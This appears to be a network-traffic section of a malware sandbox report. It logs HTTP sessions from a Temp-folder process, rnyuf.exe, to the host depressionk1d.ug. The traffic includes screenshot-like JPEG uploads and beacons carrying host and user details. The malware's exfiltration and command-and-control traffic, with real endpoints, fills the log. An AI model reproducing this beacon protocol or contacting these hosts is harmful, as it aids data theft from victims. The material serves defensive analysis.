Nov 12, 2021 22:24:22.682028055 CET	15595	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49817	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:30.191339016 CET	3893	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----a2459fec127b5ebc62fbd1a7f421763d Host: depressionk1d.ug Content-Length: 108376 Cache-Control: no-cache
Nov 12, 2021 22:23:30.191468000 CET	3894	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 61 32 34 35 39 66 65 63 31 32 37 62 35 65 62 63 36 32 66 62 64 31 61 37 66 34 32 31 37 36 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------a2459fec127b5ebc62fbd1a7f421763dContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:30.191692114 CET	3904	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:30.191921949 CET	3906	OUT	Data Raw: ed a0 ad 16 0b 8c a5 a3 6d 18 34 86 14 87 ad 2d 14 c4 25 2d 14 0a 06 14 51 41 a0 41 45 2a ab 31 c2 a9 27 d0 0a b2 9a 75 e4 9f 76 dd ff 00 e0 43 1f ce 84 9b d8 2e 55 a2 b4 93 44 ba 6f bc 63 4f a9 cf f2 aa d7 b6 86 ca 65 8c b8 62 57 76 40 c7 73 fe Data Ascii: m4-%-QAAE1'uvC.UDocOebWv@sNJhEvQE(((C@EPK@RHqlU a5dZ?y#v1\AE-R@KK1@E-(P)hE-(&)h(-&(.(0
Nov 12, 2021 22:23:30.214049101 CET	3909	OUT	Data Raw: e1 ed 71 ec 61 bc d2 e6 99 a3 b1 bf 8c c6 ec 0f fa a6 23 01 fe 9d 8f a8 ad bf f8 55 5a e7 fc fd e9 df f7 f1 ff 00 f8 8a 3f e1 55 eb 9f f3 f7 a7 7f df c7 ff 00 e2 2b df 78 8c 1f 27 b3 e6 56 3e 75 61 f1 9c fe d3 95 dc d0 f0 77 88 26 b9 bb d2 b4 2b Data Ascii: qa#UZ?U+x'V>uaw&++1\PA>W\|n/z\|/[EuqfCp(Tc*=GzQhyIU;GEP/E^4.J9\aAdq~?.J
Nov 12, 2021 22:23:30.214085102 CET	3912	OUT	Data Raw: 7a b1 94 69 ba 6d e5 e9 88 03 20 b6 81 a4 d9 9e 99 da 0e 3a 1e b5 5d 2d e7 92 09 a7 8e 19 1e 18 31 e6 c8 a8 4a c7 93 81 b8 f6 c9 e3 9a 8f aa bf e7 fc 11 5f 5c a1 ff 00 3e 7f f2 66 7b c7 8c 7e 29 e8 7a a7 87 6e 2c ac b7 93 21 52 c5 d9 33 80 41 c0 Data Ascii: zim :]-1J_\>f{~)zn,!R3ANN@evOZNw3 e8#)!!'AorFG#>ESm_ahFaz_Ch (EPIKIH(G4Q0J^i(E- JJ(<4q?R0,w
Nov 12, 2021 22:23:30.214179993 CET	3920	OUT	Data Raw: cd 17 b1 5a 03 2b 47 74 64 72 64 90 2e 4f cc 9b 30 e7 82 17 19 e2 b6 34 4b 5b 7b 4d 32 c7 49 d4 75 cb 2b 49 35 b3 33 de 43 30 99 e4 75 70 63 81 83 22 32 70 e1 9c 65 87 50 7d eb ce bc a5 f4 a0 42 80 74 eb 4d d1 6d 38 f4 62 55 52 7c dd 51 e9 90 af Data Ascii: Z+Gtdrd.O04K[{M2Iu+I53C0upc"2peP}BtMm8bUR\|Q{sMm<goN+G3CIm)(n$98XB):b3%V-Y/[b-.U#\t<\|G>ZcTN{jc+_A(QE)E@F(QEQE
Nov 12, 2021 22:23:30.214193106 CET	3925	OUT	Data Raw: aa c4 0c 9e 70 0f d2 be 79 2a 3d 29 d4 62 b7 a5 4f 91 58 c6 a5 4e 77 70 00 53 a9 29 6b 53 26 02 8a 28 a0 03 bd 14 51 de 98 05 14 b4 50 02 60 1e d4 9b 01 a7 0a 5a 2c 2b b2 32 94 85 0e 6a 5a 31 4a c3 52 21 da 68 c5 4d 46 33 da 8e 50 e6 21 a2 a6 da Data Ascii: py*=)bOXNwpS)kS&(QP`Z,+2jZ1JR!hMF3P!V>dD)i_Yt2];QKQ%P!)ihb1N&(QEQE-0Z(hS\Np9()h bEii-Q"m8SZJZbZ()hZ1LZ1-2E@
Nov 12, 2021 22:23:30.214229107 CET	3927	OUT	Data Raw: 53 b2 15 e4 b6 20 36 8c 3a 73 51 98 d9 4e 08 ab c1 ea 4d ca 7b 51 60 f6 92 5b 99 9b 7d a8 c1 ad 23 14 6d da 98 6d 41 e8 6a 6c 3f 6a 8a 3b 69 76 d5 93 6c e3 de 99 e5 90 79 14 ca e7 4c 87 65 26 ca b0 12 97 6d 01 ce 54 31 e6 a3 68 7d aa fe cc d1 e5 Data Ascii: S 6:sQNM{Q`[}#mmAjl?j;ivlyLe&mT1h}fCUle<]D.fa<tA[mUa:L1-;U)!j+P&=FAJJE4jlRfm$uCy{vD!=w:Mh@n7,Y.aj92V=OK
Nov 12, 2021 22:23:30.214260101 CET	3930	OUT	Data Raw: 68 a5 a3 69 a5 c1 a5 60 b8 53 85 18 a5 02 99 37 12 96 8c 51 de 9a 10 b4 b4 52 8a 62 12 9c 29 29 d5 48 4c 28 14 62 97 14 12 2d 38 53 71 4e 15 62 62 d3 a9 b4 ea 68 96 2d 28 a4 a5 15 42 16 96 92 9c 29 a2 45 02 9d 8a 4a 5a a4 48 62 97 14 52 d5 58 57 Data Ascii: hi`S7QRb))HL(b-8SqNbbh-(B)EJZHbRXWm&)XW#AZb(smM9qKe.PDDRF\|9F{Tm.P"1!aC*1G"E_zotM(cUCaNkG/ejBti>T6?hSNmOb)Nh:dTS
Nov 12, 2021 22:23:30.214288950 CET	3932	OUT	Data Raw: b0 93 cd d2 5a f6 28 c9 7b 38 b8 46 70 30 48 5e 01 e7 1d ff 00 1a ca f1 5e d5 f1 4e a2 aa 02 aa cc 40 00 70 38 14 cd 0f e2 cf 86 34 0b 5b 8b 6b 5d 1f 50 68 a5 9c cc 03 98 f2 bd 30 33 9e 71 8e 2b cf 7c 47 e2 a9 75 3f 15 6a 1a b5 83 4d 04 37 52 07 Data Ascii: Z({8Fp0H^^N@p84[k]Ph03q+\|Gu?jM7RIG#sVEZ.GK[;;;I5b63;WEgk+8j+$A\|@k1W,0bR=MxxtT4)GY[Mi/$&DC^6(W
Nov 12, 2021 22:23:30.285840034 CET	4005	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:30 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.4	50157	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:22.685765982 CET	15595	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:22.685866117 CET	15595	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:22.686041117 CET	15605	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:22.686117887 CET	15608	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:22.708535910 CET	15611	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:22.708578110 CET	15614	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:22.708595991 CET	15616	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:22.708627939 CET	15619	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:22.708770990 CET	15624	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:22.708807945 CET	15628	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:24:22.708843946 CET	15634	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:24:22.779814005 CET	15705	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:22 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:24:22.786079884 CET	15705	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:22.811887026 CET	15705	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.4	50158	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:22.952966928 CET	15706	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:22.975950956 CET	15708	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:22 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:22.975958109 CET	15708	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.4	50159	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:23.108228922 CET	15709	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:23.130594969 CET	15710	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:23 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 